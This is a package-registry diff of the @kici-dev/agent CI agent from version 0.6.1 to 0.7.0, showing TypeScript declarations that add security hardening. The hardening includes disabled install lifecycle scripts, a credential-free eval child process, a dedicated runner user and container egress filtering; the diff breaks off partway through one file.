@kici-dev/agent 0.6.1 → 0.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/config.d.ts +38 -38
- package/dist/eval-runner.js +1866 -0
- package/dist/execution/dep-installer.d.ts +28 -7
- package/dist/execution/eval-context.d.ts +114 -0
- package/dist/execution/global-eval-types.d.ts +26 -0
- package/dist/execution/job-runner.d.ts +23 -75
- package/dist/execution/npm-registry-config.d.ts +6 -0
- package/dist/execution/rule-evaluator.d.ts +2 -1
- package/dist/execution/sandbox/bare-metal-sandbox.d.ts +6 -0
- package/dist/execution/sandbox/container-hardening.d.ts +8 -0
- package/dist/execution/sandbox/container-sandbox.d.ts +9 -0
- package/dist/execution/sandbox/eval-dispatch.d.ts +28 -0
- package/dist/execution/sandbox/eval-fork-runner.d.ts +43 -0
- package/dist/execution/sandbox/eval-runner.d.ts +21 -0
- package/dist/execution/sandbox/fork-runner.d.ts +23 -0
- package/dist/execution/sandbox/ipc-protocol.d.ts +82 -8
- package/dist/execution/sandbox/job-network.d.ts +91 -0
- package/dist/execution/sandbox/log-masker.d.ts +38 -0
- package/dist/execution/sandbox/types.d.ts +6 -0
- package/dist/execution/sandbox/workflow-runner.d.ts +1 -1
- package/dist/execution/source-packer.d.ts +4 -4
- package/dist/execution/source-restore.d.ts +28 -13
- package/dist/execution/workflow-loader.d.ts +16 -13
- package/dist/execution/yarnrc-berry-config.d.ts +6 -4
- package/dist/index.js +83 -40
- package/dist/provenance/statement-builder.d.ts +19 -8
- package/dist/server.js +1527 -1665
- package/dist/workflow-runner-bundle.js +1105 -184
- package/dist/workflow-runner.js +395 -149
- package/dist/ws/orchestrator-client.d.ts +4 -0
- package/package.json +6 -5
- package/sbom.spdx.json +66 -66
|
@@ -19,9 +19,11 @@
|
|
|
19
19
|
* Security: the install runs with an isolated per-invocation cache/store
|
|
20
20
|
* directory to prevent cache poisoning across build jobs — a malicious
|
|
21
21
|
* package.json in one repo cannot taint the cache used by subsequent builds.
|
|
22
|
-
* The
|
|
23
|
-
*
|
|
24
|
-
*
|
|
22
|
+
* The install runs with `--ignore-scripts` for every package manager. A
|
|
23
|
+
* lifecycle script in a committed `package.json` is customer code the agent
|
|
24
|
+
* never agreed to execute: it would run wherever the install runs, which for a
|
|
25
|
+
* step-child install is the process holding the job's secrets. Operators who
|
|
26
|
+
* genuinely need it set `KICI_ALLOW_INSTALL_SCRIPTS=true` on the agent.
|
|
25
27
|
*/
|
|
26
28
|
import { type NpmRegistrySpec } from './npm-registry-config.js';
|
|
27
29
|
export interface InstallDepsOptions {
|
|
@@ -36,6 +38,23 @@ export interface InstallDepsOptions {
|
|
|
36
38
|
* then falls back to `kiciDir`. Defaults to `dirname(kiciDir)`.
|
|
37
39
|
*/
|
|
38
40
|
repoRoot?: string;
|
|
41
|
+
/**
|
|
42
|
+
* Base environment for every install and workspace-build subprocess.
|
|
43
|
+
*
|
|
44
|
+
* Defaults to `process.env`, which is correct inside the runner child, where
|
|
45
|
+
* `process.env` is already the sanitized job environment carrying the
|
|
46
|
+
* orchestrator's `KICI_*` system vars, org context vars and the job's own
|
|
47
|
+
* `env`. An agent-process caller MUST pass a sanitized base instead —
|
|
48
|
+
* `buildSanitizedEnv({}, { trustedEnv })` — or the install inherits the
|
|
49
|
+
* agent's credentials.
|
|
50
|
+
*/
|
|
51
|
+
baseEnv?: NodeJS.ProcessEnv;
|
|
52
|
+
/**
|
|
53
|
+
* Operator opt-out from `--ignore-scripts` (`KICI_ALLOW_INSTALL_SCRIPTS`).
|
|
54
|
+
* Read only from agent config, never from a dispatch payload or a workflow,
|
|
55
|
+
* so a pull request cannot re-enable lifecycle scripts for itself.
|
|
56
|
+
*/
|
|
57
|
+
allowInstallScripts?: boolean;
|
|
39
58
|
}
|
|
40
59
|
/**
|
|
41
60
|
* Install `.kici/` dependencies inline with the repo's package manager.
|
|
@@ -46,16 +65,18 @@ export interface InstallDepsOptions {
|
|
|
46
65
|
* between build jobs; the directory is removed after installation.
|
|
47
66
|
*
|
|
48
67
|
* If `opts.npmRegistries` / `opts.installEnvSecrets` is provided, a job-scoped
|
|
49
|
-
* `.kici/.npmrc` overlay is synthesized for the install
|
|
50
|
-
*
|
|
51
|
-
*
|
|
68
|
+
* `.kici/.npmrc` overlay is synthesized for the install and restored in
|
|
69
|
+
* `finally`.
|
|
70
|
+
*
|
|
71
|
+
* Lifecycle scripts are disabled for every package manager unless the operator
|
|
72
|
+
* set `opts.allowInstallScripts`.
|
|
52
73
|
*
|
|
53
74
|
* @param kiciDir - Path to the `.kici/` directory containing package.json.
|
|
54
75
|
* @param opts - Optional registry / installEnv / repoRoot configuration.
|
|
55
76
|
*/
|
|
56
77
|
export declare function installDeps(kiciDir: string, opts?: InstallDepsOptions): Promise<void>;
|
|
57
78
|
/** Pure: argv for `yarn install` with an isolated cache folder. */
|
|
58
|
-
export declare function buildYarnInstallArgs(cacheDir: string,
|
|
79
|
+
export declare function buildYarnInstallArgs(cacheDir: string, ignoreScripts: boolean): string[];
|
|
59
80
|
/** Pure: argv for a berry `yarn install`. Cache + linker live in .yarnrc.yml. */
|
|
60
81
|
export declare function buildYarnBerryInstallArgs(): string[];
|
|
61
82
|
//# sourceMappingURL=dep-installer.d.ts.map
|
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Context builders shared by every customer-code EVALUATION.
|
|
3
|
+
*
|
|
4
|
+
* Split out of `job-runner.ts` so the eval child can import them without
|
|
5
|
+
* dragging in the agent's job orchestrator (dockerode, the sandbox backends, the
|
|
6
|
+
* orchestrator WebSocket client). The child is the process that loads and runs
|
|
7
|
+
* customer workflow modules, so what it imports is part of its boundary.
|
|
8
|
+
*
|
|
9
|
+
* Every `process.env` read below is deliberate and correct **in the eval child**:
|
|
10
|
+
* there `process.env` is the sanitized environment the child was forked with,
|
|
11
|
+
* carrying no agent credential. The same expressions were the defect while these
|
|
12
|
+
* functions ran in the agent process, which is why they moved rather than being
|
|
13
|
+
* rewritten.
|
|
14
|
+
*/
|
|
15
|
+
import type { JobDispatch, LogStream } from '@kici-dev/engine';
|
|
16
|
+
import type { RepoInfo } from '@kici-dev/sdk';
|
|
17
|
+
import { buildNeedsContext } from '@kici-dev/sdk/internal';
|
|
18
|
+
import type { $ as Shell } from 'zx';
|
|
19
|
+
import { type ChangedFilesResult } from '../checkout/changed-files.js';
|
|
20
|
+
import type { FilterEvalInput } from './init-runner.js';
|
|
21
|
+
import type { GlobalEvalRoundJobConfig } from './global-eval-types.js';
|
|
22
|
+
export declare const DEFAULT_GLOBAL_EVAL_ROUND_TIMEOUT_MS = 120000;
|
|
23
|
+
export declare const DEFAULT_GLOBAL_EVAL_CANDIDATE_TIMEOUT_MS = 20000;
|
|
24
|
+
/**
|
|
25
|
+
* Build the source / workflow repo pair the round hands to every filter and
|
|
26
|
+
* generator. Mirrors the sandbox's own `setupGlobalWorkflowEnv` construction so
|
|
27
|
+
* a generator's two evaluations see the same identifiers, refs, and shas — only
|
|
28
|
+
* the absolute paths differ, and those are never compared.
|
|
29
|
+
*/
|
|
30
|
+
export declare function buildRoundRepos(dispatch: JobDispatch, config: GlobalEvalRoundJobConfig, workflowDir: string, sourceDir: string): {
|
|
31
|
+
sourceRepo: RepoInfo;
|
|
32
|
+
workflowRepo: RepoInfo;
|
|
33
|
+
};
|
|
34
|
+
/**
|
|
35
|
+
* Resolve the changed-files list a `filter` reads — for a global eval round and
|
|
36
|
+
* for a filter-bearing init job alike.
|
|
37
|
+
*
|
|
38
|
+
* Ground truth is the agent's own source clone; an already-`fetched` list from
|
|
39
|
+
* the orchestrator is a free fast-path. A diff-less event (schedule / tag /
|
|
40
|
+
* manual) resolves to `unavailable`, which makes `ctx.changedFiles` throw
|
|
41
|
+
* rather than read as an empty diff — a `filter` returning false produces no
|
|
42
|
+
* run at all, so a silently-empty diff would suppress the workflow with no
|
|
43
|
+
* artifact anywhere to inspect.
|
|
44
|
+
*/
|
|
45
|
+
export declare function resolveEvalChangedFiles(dispatch: JobDispatch, event: Record<string, unknown>, sourceDir: string): Promise<ChangedFilesResult>;
|
|
46
|
+
/**
|
|
47
|
+
* Materialize the source tree a non-global workflow's `filter` reads through
|
|
48
|
+
* `ctx.sourceRepo.path`.
|
|
49
|
+
*
|
|
50
|
+
* An init or dynamic-eval job normally restores only `.kici/` from the cached
|
|
51
|
+
* source tarball — enough to import the workflow module, but a directory with no
|
|
52
|
+
* repo in it. A filter that reads a file or shells out against that path would
|
|
53
|
+
* get a confidently wrong answer, and `changedFiles` could not be computed at
|
|
54
|
+
* all, so a filter-bearing job clones the source repo into a sibling directory.
|
|
55
|
+
*
|
|
56
|
+
* When no tarball was attached the job already cloned the whole repo into
|
|
57
|
+
* `workDir`, and that clone is reused rather than duplicated — including the
|
|
58
|
+
* local working-tree case, where there is no repo url and `workDir` IS the tree.
|
|
59
|
+
*
|
|
60
|
+
* A tarball with no repo url is the one combination that cannot be honoured:
|
|
61
|
+
* `workDir` holds `.kici/` alone and there is nothing to clone from. Returning it
|
|
62
|
+
* would hand the filter a directory in which every path test answers "absent" —
|
|
63
|
+
* the exact silent lie this function exists to prevent — so it throws instead.
|
|
64
|
+
*/
|
|
65
|
+
export declare function ensureFilterSourceDir(dispatch: JobDispatch, workDir: string): Promise<string>;
|
|
66
|
+
/**
|
|
67
|
+
* Build the context a non-global workflow's `filter` is evaluated against.
|
|
68
|
+
*
|
|
69
|
+
* `sourceRepo` and `workflowRepo` are the same repo — that is what "non-global"
|
|
70
|
+
* means — so both carry the same identifier, path, ref, and sha. The zx shell is
|
|
71
|
+
* rooted at the source tree and streams into the evaluating step's log, matching
|
|
72
|
+
* what the global eval round hands its own filters.
|
|
73
|
+
*
|
|
74
|
+
* They are two distinct objects all the same. Being the same repo is a fact
|
|
75
|
+
* about their VALUES, not a licence to hand the author one object under two
|
|
76
|
+
* names: a filter that mutated `ctx.sourceRepo` would silently see
|
|
77
|
+
* `ctx.workflowRepo` change with it, which happens on no other path.
|
|
78
|
+
*/
|
|
79
|
+
export declare function buildInitFilterInput(dispatch: JobDispatch, event: Record<string, unknown>, workDir: string, emit: (line: string, stream: LogStream) => void): Promise<FilterEvalInput>;
|
|
80
|
+
/**
|
|
81
|
+
* Build the per-invocation zx `$` a global eval round hands to filters and
|
|
82
|
+
* generators, so a `await $\`…\`` inside one is visible in the eval step's log.
|
|
83
|
+
*
|
|
84
|
+
* **`env` is the LIVE `process.env` reference, never a spread.** A spread is a
|
|
85
|
+
* snapshot taken when the shell is built, which is before the round applies the
|
|
86
|
+
* seven `KICI_*` keys — so a filter that shells out (`$\`printenv
|
|
87
|
+
* KICI_SOURCE_REPO_PATH\``, or any subprocess inheriting env) would see nothing
|
|
88
|
+
* here while the sandbox re-evaluation's ambient `$` resolves `process.env`
|
|
89
|
+
* after `setupGlobalWorkflowEnv` has run and does see them. That is the same
|
|
90
|
+
* two-worlds determinism failure the cwd choice below exists to prevent, one
|
|
91
|
+
* layer down. Passing the live reference reproduces the ambient `$`'s own
|
|
92
|
+
* behaviour, which is what the sandbox uses.
|
|
93
|
+
*
|
|
94
|
+
* `verbose: true` + `makeStreamingZxLog` honors a per-call `quiet: true`, so a
|
|
95
|
+
* decrypted secret never leaks into the log.
|
|
96
|
+
*
|
|
97
|
+
* `emit` is a callback rather than the `LogStreamer` itself so the caller can
|
|
98
|
+
* route it through its own closed-guard: `LogStreamer.destroy()` sets no closed
|
|
99
|
+
* flag and `addLine` buffers unconditionally, so a subprocess line arriving
|
|
100
|
+
* after the step was reported would otherwise emit a `log.chunk` for a terminal
|
|
101
|
+
* step. That is the likeliest path for it — an orphaned candidate is usually
|
|
102
|
+
* orphaned *because* it is waiting on a subprocess.
|
|
103
|
+
*/
|
|
104
|
+
export declare function buildEvalShell(cwd: string, emit: (line: string, stream: LogStream) => void): Promise<typeof Shell>;
|
|
105
|
+
/**
|
|
106
|
+
* Build the result-aware `ctx.needs` for a dynamic eval from its frozen upstream
|
|
107
|
+
* snapshot. Returns undefined for an event-only generator (no snapshot).
|
|
108
|
+
*/
|
|
109
|
+
export declare function buildEvalNeedsContext(config: {
|
|
110
|
+
resultAware?: boolean;
|
|
111
|
+
declaredNeeds?: readonly unknown[];
|
|
112
|
+
upstreamSnapshot?: import('@kici-dev/engine').UpstreamSnapshot;
|
|
113
|
+
}): ReturnType<typeof buildNeedsContext> | undefined;
|
|
114
|
+
//# sourceMappingURL=eval-context.d.ts.map
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dispatch shape of a pre-run global eval round.
|
|
3
|
+
*
|
|
4
|
+
* Its own module because both the agent's job runner and the eval child read it,
|
|
5
|
+
* and the child must not import the job runner.
|
|
6
|
+
*/
|
|
7
|
+
import type { GlobalEvalCandidate } from './global-eval-runner.js';
|
|
8
|
+
/**
|
|
9
|
+
* `jobConfig` shape of a pre-run global eval round job.
|
|
10
|
+
*
|
|
11
|
+
* `roundTimeoutMs` / `candidateTimeoutMs` are optional so an older orchestrator
|
|
12
|
+
* that does not send them still dispatches a runnable round; the agent falls
|
|
13
|
+
* back to the defaults in `eval-context.ts`.
|
|
14
|
+
*/
|
|
15
|
+
export interface GlobalEvalRoundJobConfig {
|
|
16
|
+
globalEvalRound: true;
|
|
17
|
+
candidates: GlobalEvalCandidate[];
|
|
18
|
+
event: Record<string, unknown>;
|
|
19
|
+
workflowRepoUrl: string;
|
|
20
|
+
workflowRef?: string;
|
|
21
|
+
workflowSha?: string;
|
|
22
|
+
workflowRepoIdentifier?: string;
|
|
23
|
+
roundTimeoutMs?: number;
|
|
24
|
+
candidateTimeoutMs?: number;
|
|
25
|
+
}
|
|
26
|
+
//# sourceMappingURL=global-eval-types.d.ts.map
|
|
@@ -1,70 +1,9 @@
|
|
|
1
1
|
import type { AgentToOrchestratorMessage, JobDispatch } from '@kici-dev/engine';
|
|
2
|
-
import type { LogStream } from '@kici-dev/engine';
|
|
3
2
|
import type { AppConfig } from '../config.js';
|
|
4
|
-
import {
|
|
5
|
-
|
|
6
|
-
import type { $ as Shell } from 'zx';
|
|
3
|
+
import { buildEvalNeedsContext, buildEvalShell, buildInitFilterInput, ensureFilterSourceDir } from './eval-context.js';
|
|
4
|
+
export { buildEvalNeedsContext, buildEvalShell, buildInitFilterInput, ensureFilterSourceDir };
|
|
7
5
|
import type { CacheRequestIpc, CacheResponseIpc, ProvenanceRequestIpc, ProvenanceResponseIpc, ArtifactRequestIpc, ArtifactResponseIpc, StepApprovalRequestIpc, StepApprovalResolvedIpc } from './sandbox/index.js';
|
|
8
6
|
import { BetweenJobsController } from './between-jobs-controller.js';
|
|
9
|
-
/**
|
|
10
|
-
* Materialize the source tree a non-global workflow's `filter` reads through
|
|
11
|
-
* `ctx.sourceRepo.path`.
|
|
12
|
-
*
|
|
13
|
-
* An init or dynamic-eval job normally restores only `.kici/` from the cached
|
|
14
|
-
* source tarball — enough to import the workflow module, but a directory with no
|
|
15
|
-
* repo in it. A filter that reads a file or shells out against that path would
|
|
16
|
-
* get a confidently wrong answer, and `changedFiles` could not be computed at
|
|
17
|
-
* all, so a filter-bearing job clones the source repo into a sibling directory.
|
|
18
|
-
*
|
|
19
|
-
* When no tarball was attached the job already cloned the whole repo into
|
|
20
|
-
* `workDir`, and that clone is reused rather than duplicated — including the
|
|
21
|
-
* local working-tree case, where there is no repo url and `workDir` IS the tree.
|
|
22
|
-
*
|
|
23
|
-
* A tarball with no repo url is the one combination that cannot be honoured:
|
|
24
|
-
* `workDir` holds `.kici/` alone and there is nothing to clone from. Returning it
|
|
25
|
-
* would hand the filter a directory in which every path test answers "absent" —
|
|
26
|
-
* the exact silent lie this function exists to prevent — so it throws instead.
|
|
27
|
-
*/
|
|
28
|
-
export declare function ensureFilterSourceDir(dispatch: JobDispatch, workDir: string): Promise<string>;
|
|
29
|
-
/**
|
|
30
|
-
* Build the context a non-global workflow's `filter` is evaluated against.
|
|
31
|
-
*
|
|
32
|
-
* `sourceRepo` and `workflowRepo` are the same repo — that is what "non-global"
|
|
33
|
-
* means — so both carry the same identifier, path, ref, and sha. The zx shell is
|
|
34
|
-
* rooted at the source tree and streams into the evaluating step's log, matching
|
|
35
|
-
* what the global eval round hands its own filters.
|
|
36
|
-
*
|
|
37
|
-
* They are two distinct objects all the same. Being the same repo is a fact
|
|
38
|
-
* about their VALUES, not a licence to hand the author one object under two
|
|
39
|
-
* names: a filter that mutated `ctx.sourceRepo` would silently see
|
|
40
|
-
* `ctx.workflowRepo` change with it, which happens on no other path.
|
|
41
|
-
*/
|
|
42
|
-
export declare function buildInitFilterInput(dispatch: JobDispatch, event: Record<string, unknown>, workDir: string, emit: (line: string, stream: LogStream) => void): Promise<FilterEvalInput>;
|
|
43
|
-
/**
|
|
44
|
-
* Build the per-invocation zx `$` a global eval round hands to filters and
|
|
45
|
-
* generators, so a `await $\`…\`` inside one is visible in the eval step's log.
|
|
46
|
-
*
|
|
47
|
-
* **`env` is the LIVE `process.env` reference, never a spread.** A spread is a
|
|
48
|
-
* snapshot taken when the shell is built, which is before the round applies the
|
|
49
|
-
* seven `KICI_*` keys — so a filter that shells out (`$\`printenv
|
|
50
|
-
* KICI_SOURCE_REPO_PATH\``, or any subprocess inheriting env) would see nothing
|
|
51
|
-
* here while the sandbox re-evaluation's ambient `$` resolves `process.env`
|
|
52
|
-
* after `setupGlobalWorkflowEnv` has run and does see them. That is the same
|
|
53
|
-
* two-worlds determinism failure the cwd choice below exists to prevent, one
|
|
54
|
-
* layer down. Passing the live reference reproduces the ambient `$`'s own
|
|
55
|
-
* behaviour, which is what the sandbox uses.
|
|
56
|
-
*
|
|
57
|
-
* `verbose: true` + `makeStreamingZxLog` honors a per-call `quiet: true`, so a
|
|
58
|
-
* decrypted secret never leaks into the log.
|
|
59
|
-
*
|
|
60
|
-
* `emit` is a callback rather than the `LogStreamer` itself so the caller can
|
|
61
|
-
* route it through its own closed-guard: `LogStreamer.destroy()` sets no closed
|
|
62
|
-
* flag and `addLine` buffers unconditionally, so a subprocess line arriving
|
|
63
|
-
* after the step was reported would otherwise emit a `log.chunk` for a terminal
|
|
64
|
-
* step. That is the likeliest path for it — an orphaned candidate is usually
|
|
65
|
-
* orphaned *because* it is waiting on a subprocess.
|
|
66
|
-
*/
|
|
67
|
-
export declare function buildEvalShell(cwd: string, emit: (line: string, stream: LogStream) => void): Promise<typeof Shell>;
|
|
68
7
|
/**
|
|
69
8
|
* Dependencies injected into JobRunner.
|
|
70
9
|
*/
|
|
@@ -84,6 +23,10 @@ export interface JobRunnerDeps {
|
|
|
84
23
|
contentHash?: string;
|
|
85
24
|
lockfileHash?: string;
|
|
86
25
|
depsHash?: string;
|
|
26
|
+
/** SHA-256 of the source tarball's own bytes; source uploads only. */
|
|
27
|
+
sourceTarDigest?: string;
|
|
28
|
+
/** In-repo sibling closure digest; deps uploads only. */
|
|
29
|
+
siblingsDigest?: string;
|
|
87
30
|
platform: string;
|
|
88
31
|
arch: string;
|
|
89
32
|
}) => Promise<string>;
|
|
@@ -94,6 +37,10 @@ export interface JobRunnerDeps {
|
|
|
94
37
|
platform: string;
|
|
95
38
|
arch: string;
|
|
96
39
|
depsHash?: string;
|
|
40
|
+
/** SHA-256 of the source tarball's own bytes; source uploads only. */
|
|
41
|
+
sourceTarDigest?: string;
|
|
42
|
+
/** In-repo sibling closure digest; deps uploads only. */
|
|
43
|
+
siblingsDigest?: string;
|
|
97
44
|
}) => void;
|
|
98
45
|
/**
|
|
99
46
|
* Send an event.emit WS message to the orchestrator and await the response.
|
|
@@ -200,15 +147,6 @@ interface ActiveJob {
|
|
|
200
147
|
* bwrap / firecracker keep the external runner (they bind the workspace).
|
|
201
148
|
*/
|
|
202
149
|
export declare function resolveRunnerBundlePath(runnerPath: string): string;
|
|
203
|
-
/**
|
|
204
|
-
* Build the result-aware `ctx.needs` for a dynamic eval from its frozen upstream
|
|
205
|
-
* snapshot. Returns undefined for an event-only generator (no snapshot).
|
|
206
|
-
*/
|
|
207
|
-
export declare function buildEvalNeedsContext(config: {
|
|
208
|
-
resultAware?: boolean;
|
|
209
|
-
declaredNeeds?: readonly unknown[];
|
|
210
|
-
upstreamSnapshot?: import('@kici-dev/engine').UpstreamSnapshot;
|
|
211
|
-
}): ReturnType<typeof buildNeedsContext> | undefined;
|
|
212
150
|
/**
|
|
213
151
|
* Resolve a job's workDir and its cleanup.
|
|
214
152
|
*
|
|
@@ -284,8 +222,8 @@ export declare class JobRunner {
|
|
|
284
222
|
* orchestrator relay (unit harnesses, offline local runs).
|
|
285
223
|
*
|
|
286
224
|
* A failure here must not fail the job: without a helper, git falls back to
|
|
287
|
-
* its own mechanisms exactly as it did before this existed. The job
|
|
288
|
-
*
|
|
225
|
+
* its own mechanisms exactly as it did before this existed. The job cannot
|
|
226
|
+
* push.
|
|
289
227
|
*/
|
|
290
228
|
private startGitCredentials;
|
|
291
229
|
/**
|
|
@@ -422,6 +360,17 @@ export declare class JobRunner {
|
|
|
422
360
|
* when the checkout or the round machinery breaks.
|
|
423
361
|
*/
|
|
424
362
|
private handleGlobalEvalRound;
|
|
363
|
+
/**
|
|
364
|
+
* Run one evaluation in the eval child and stream its log onto the job's
|
|
365
|
+
* synthetic step-0 log.
|
|
366
|
+
*
|
|
367
|
+
* Every customer-module load and evaluation goes through here. The calling
|
|
368
|
+
* handler keeps what is the agent's own work — materializing the workspace,
|
|
369
|
+
* installing dependencies, packing and uploading a tarball, reporting status —
|
|
370
|
+
* and hands the child only the evaluation itself, in a process whose
|
|
371
|
+
* environment carries no agent credential.
|
|
372
|
+
*/
|
|
373
|
+
private runEvaluation;
|
|
425
374
|
/**
|
|
426
375
|
* Handle an init-only job.
|
|
427
376
|
*
|
|
@@ -503,5 +452,4 @@ export declare class JobRunner {
|
|
|
503
452
|
*/
|
|
504
453
|
private sendStepStatus;
|
|
505
454
|
}
|
|
506
|
-
export {};
|
|
507
455
|
//# sourceMappingURL=job-runner.d.ts.map
|
|
@@ -43,6 +43,12 @@ export interface ApplyNpmRegistryConfigArgs {
|
|
|
43
43
|
installEnvSecrets: Record<string, string> | undefined;
|
|
44
44
|
/** Short (8 char) job-scoped nonce — used as suffix on synthesized env-var names. */
|
|
45
45
|
jobIdShort: string;
|
|
46
|
+
/**
|
|
47
|
+
* Disable package lifecycle scripts. Read by the berry flavor, which controls
|
|
48
|
+
* them through `.yarnrc.yml` (`enableScripts`) rather than a CLI flag.
|
|
49
|
+
* Defaults to true when omitted.
|
|
50
|
+
*/
|
|
51
|
+
ignoreScripts?: boolean;
|
|
46
52
|
}
|
|
47
53
|
export interface ApplyNpmRegistryConfigResult {
|
|
48
54
|
/** Env vars to merge into the install subprocess (token vars + installEnvSecrets). */
|
|
@@ -1,2 +1,3 @@
|
|
|
1
|
-
export {
|
|
1
|
+
export { ChangedFilesUnavailableError, type RuleEvaluationResult } from '@kici-dev/sdk';
|
|
2
|
+
export { createRuleContext, evaluateRules } from '@kici-dev/sdk/internal';
|
|
2
3
|
//# sourceMappingURL=rule-evaluator.d.ts.map
|
|
@@ -36,6 +36,11 @@ interface BareMetalSandboxOptions {
|
|
|
36
36
|
* the between-jobs phase can reap a backgrounded daemon. Default true.
|
|
37
37
|
*/
|
|
38
38
|
orphanCleanup?: boolean;
|
|
39
|
+
/**
|
|
40
|
+
* Dedicated user for the runner child (`KICI_RUNNER_USER`). Unset, the child
|
|
41
|
+
* shares the agent's uid and can read the agent process.
|
|
42
|
+
*/
|
|
43
|
+
runnerUser?: string;
|
|
39
44
|
}
|
|
40
45
|
/**
|
|
41
46
|
* Bare-metal execution sandbox implementation.
|
|
@@ -49,6 +54,7 @@ export declare class BareMetalSandbox implements ExecutionSandbox {
|
|
|
49
54
|
private readonly sandboxNetwork;
|
|
50
55
|
private readonly env;
|
|
51
56
|
private readonly orphanCleanup;
|
|
57
|
+
private readonly runnerUser;
|
|
52
58
|
private runner;
|
|
53
59
|
private workDir;
|
|
54
60
|
private lastOptions;
|
|
@@ -57,6 +57,14 @@ export interface SandboxHardeningOptions {
|
|
|
57
57
|
nanoCpus: number;
|
|
58
58
|
/** Config-derived network posture (`isolated` → `none`, else `default`). */
|
|
59
59
|
networkMode: SandboxNetworkMode;
|
|
60
|
+
/**
|
|
61
|
+
* Join the agent's `kici-jobs` bridge instead of the runtime's default
|
|
62
|
+
* bridge, so per-container egress rules can be keyed on the container's IP
|
|
63
|
+
* (`KICI_SANDBOX_NETWORK_ISOLATION`). Only meaningful when the effective
|
|
64
|
+
* network is `default`: `none` has no egress, and `host` is the host
|
|
65
|
+
* namespace by request.
|
|
66
|
+
*/
|
|
67
|
+
jobNetworkName?: string;
|
|
60
68
|
/** Optional dispatch-resolved escape hatch (Sub-wish B populates this at dispatch). */
|
|
61
69
|
grant?: ResolvedSandboxGrant;
|
|
62
70
|
}
|
|
@@ -94,6 +94,12 @@ interface ContainerSandboxOptions {
|
|
|
94
94
|
* constructor testable and lets non-production callers opt out explicitly.
|
|
95
95
|
*/
|
|
96
96
|
hardening?: SandboxHardeningOptions;
|
|
97
|
+
/**
|
|
98
|
+
* Apply RFC1918 + cloud-metadata egress filtering to the job container
|
|
99
|
+
* (`KICI_SANDBOX_NETWORK_ISOLATION`, default on). Ignored when the effective
|
|
100
|
+
* network is `host` or `none` — neither has a bridge IP to key rules on.
|
|
101
|
+
*/
|
|
102
|
+
networkIsolation?: boolean;
|
|
97
103
|
}
|
|
98
104
|
export declare class ContainerSandbox implements ExecutionSandbox {
|
|
99
105
|
private readonly docker;
|
|
@@ -117,6 +123,9 @@ export declare class ContainerSandbox implements ExecutionSandbox {
|
|
|
117
123
|
private readonly keepFailed;
|
|
118
124
|
private readonly jobId;
|
|
119
125
|
private readonly hardening?;
|
|
126
|
+
private readonly networkIsolation;
|
|
127
|
+
/** Container IP the applied egress rules are keyed on; unset when none were applied. */
|
|
128
|
+
private egressRuleIp;
|
|
120
129
|
/** Resolved container user (image-user override / grant), applied to createContainer + each exec. */
|
|
121
130
|
private resolvedUser?;
|
|
122
131
|
/** The running container instance (set during setup). */
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The four evaluations the eval child performs, with the IPC shell factored out.
|
|
3
|
+
*
|
|
4
|
+
* Separated from `eval-runner.ts` so this — the code that actually loads and
|
|
5
|
+
* runs a customer workflow module — is directly testable, and so a unit test can
|
|
6
|
+
* drive the real evaluation through the same seam the child uses rather than a
|
|
7
|
+
* hand-written imitation of it that would drift.
|
|
8
|
+
*
|
|
9
|
+
* Every `process.env` read below is correct BECAUSE it runs in the eval child:
|
|
10
|
+
* there `process.env` is the sanitized environment the child was forked with,
|
|
11
|
+
* carrying no agent credential. The same expressions were the defect while these
|
|
12
|
+
* evaluations ran in the agent process, which is why they moved rather than
|
|
13
|
+
* being rewritten.
|
|
14
|
+
*/
|
|
15
|
+
import type { LogStream } from '@kici-dev/engine';
|
|
16
|
+
import type { DynamicJobContext } from '@kici-dev/sdk';
|
|
17
|
+
import type { EvalRequest } from './ipc-protocol.js';
|
|
18
|
+
/** What an evaluation needs from its host: a log sink and the `ctx.kici` API. */
|
|
19
|
+
export interface EvalDispatchDeps {
|
|
20
|
+
emit: (line: string, stream?: LogStream) => void;
|
|
21
|
+
kici: DynamicJobContext['kici'];
|
|
22
|
+
}
|
|
23
|
+
/**
|
|
24
|
+
* Run one evaluation request. The single entry point the eval child's IPC shell
|
|
25
|
+
* calls, and the seam a unit test drives.
|
|
26
|
+
*/
|
|
27
|
+
export declare function runEvalRequest(request: EvalRequest, deps: EvalDispatchDeps): Promise<unknown>;
|
|
28
|
+
//# sourceMappingURL=eval-dispatch.d.ts.map
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Agent-side driver for the eval child.
|
|
3
|
+
*
|
|
4
|
+
* Forks `eval-runner.js` with a sanitized environment, sends one `eval`
|
|
5
|
+
* request, streams the child's log lines onto the job's synthetic step-0 log,
|
|
6
|
+
* and resolves with the evaluation's serialized result.
|
|
7
|
+
*
|
|
8
|
+
* The accepted inbound set is exactly `ready`, `log.line`, `eval.api.request`,
|
|
9
|
+
* `eval.result` and `eval.error` — anything else from the child is ignored, so a
|
|
10
|
+
* customer module that gains code execution in the child cannot reach the step
|
|
11
|
+
* runner's privileged relays by naming one of their message types.
|
|
12
|
+
*/
|
|
13
|
+
import type { LogStream } from '@kici-dev/engine';
|
|
14
|
+
import type { EvalRequest } from './ipc-protocol.js';
|
|
15
|
+
export interface RunEvalChildOptions {
|
|
16
|
+
/** Absolute path to the compiled `eval-runner.js`. */
|
|
17
|
+
evalRunnerPath: string;
|
|
18
|
+
/** The evaluation to perform. */
|
|
19
|
+
request: EvalRequest;
|
|
20
|
+
/** Stream one captured line onto the job's log. */
|
|
21
|
+
onLogLine: (line: string, stream?: LogStream) => void;
|
|
22
|
+
/**
|
|
23
|
+
* Relay a `ctx.kici` call to the orchestrator. Omitted means no API transport
|
|
24
|
+
* is wired, and every call rejects — the same fallback the in-process
|
|
25
|
+
* evaluation used.
|
|
26
|
+
*/
|
|
27
|
+
onApiRequest?: (method: string, params: Record<string, unknown>) => Promise<unknown>;
|
|
28
|
+
/**
|
|
29
|
+
* Operator-set agent-launch property. Threaded through so a trusted fleet
|
|
30
|
+
* agent's declared passthrough env still reaches an evaluation.
|
|
31
|
+
*/
|
|
32
|
+
trustedEnv?: boolean;
|
|
33
|
+
/** Cancels the evaluation; the child is killed and the promise rejects. */
|
|
34
|
+
signal?: AbortSignal;
|
|
35
|
+
}
|
|
36
|
+
/**
|
|
37
|
+
